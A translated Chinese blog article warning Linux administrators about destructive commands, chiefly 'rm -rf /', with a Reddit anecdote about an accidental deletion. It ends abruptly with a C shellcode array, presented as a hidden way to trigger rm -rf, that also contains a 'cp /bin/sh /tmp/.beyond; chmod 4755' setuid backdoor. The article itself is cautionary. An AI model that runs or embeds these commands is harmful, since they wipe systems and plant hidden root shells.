绝不要用的 Linux 命令!

2020-07-08 00:00:00 数据 命令 运行 系统 格式化

当然,除非你想干掉你的机器。

蜘蛛侠有这样的一句信条,“权力越大,责任越大。” 对于 Linux 系统管理员们来说,这也是一种应当采用的明智态度。

不,真的,真心感谢 DevOps 的沟通协作和云编排技术,让一个 Linux 管理员不仅能掌控一台服务器,甚者能控制成千上万台服务器实例。只需要一个愚蠢的举动,你甚至可以毁掉一个价值数十亿美元的企业,就像 没有打补丁的 Apache Struts 一样。

如果不能跑在安全补丁之前,这将会带来一个远超过系统管理员工资水平的战略性业务问题。这里就有一些足以搞死 Linux 服务器的简单方式掌握在系统管理员手中。很容易想象到,只有新手才会犯这些错误,但是,我们需要了解的更多。

下列是一些的命令,任何拥有 root 权限的用户都能借助它们对服务器造成严重破坏。

警告:千万不要在生产环境运行这些命令,它们会危害你的系统。不要在家里尝试,也不要在办公室里测试。

那么,继续!

rm -rf /

想要干脆利落的毁掉一个 Linux 系统吗?你无法超越这个被誉为“史上糟糕”的经典,它能删除一切,我说的是,能删除所有存在你系统里的内容!

和大多数 Linux 命令一样,rm 这个核心命令使用起来非常方便。即便是顽固的文件它也能帮你删除。结合起后面两个参数理解 rm 指令时,你很容易陷入大麻烦:-r,强制递归删除所有子目录,-f,无需确认,强制删除所有只读文件。如果你在根目录运行这条指令,将清除整个驱动器上的所有数据。

如果你真这么干了,想想该怎么和老板解释吧!

现在,也许你会想,“我永远不会犯这么愚蠢的错误。”朋友,骄兵必败。吸取一下经验教训吧, 这个警示故事来自于一个系统管理员在 Reddit 上的帖子:

我在 IT 界工作了很多年,但是今天,作为 Linux 系统 root 用户,我在错误的系统路径运行了 rm- f
长话短说,那天,我需要复制一大堆目录从一个目录到另一个目录,和你一样,我敲了几个 cp -R 去复制我需要的内容。
以我的聪明劲,我持续敲着上箭头,在命令记录中寻找可以复制使用的类似命令名,但是它们混杂在一大堆其他命令当中。
不管怎么说,我一边在 Skype、Slack 和 WhatsApp 的网页上打字,一边又和 Sage 通电话,注意力严重分散,我在敲入 rm -R ./videodir/* ../companyvideodirwith651vidsin/ 这样一条命令时神游物外。

然后,当文件化为乌有时其中也包括了公司的视频。幸运的是,在疯狂敲击 control -C 后,在删除太多文件之前,系统管理员中止了这条命令。但这是对你的警告:任何人都可能犯这样的错误。

事实上,绝大部分现代操作系统都会在你犯这些错误之前,用一段醒目的文字警告你。然而,如果你在连续敲击键盘时忙碌或是分心,你将会把你的系统键入一个黑洞。(LCTT 译注:幸运的是,可能在根目录下删除整个文件系统的人太多了额,后来 rm 默认禁止删除根目录,除非——你手动加上 --no-preserve-root 参数!)

这里有一些更为隐蔽的方式调用 rm -rf。思考一下下面的代码:

char esp[] __attribute__ ((section(“.text”))) =  
“\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”; 

相关文章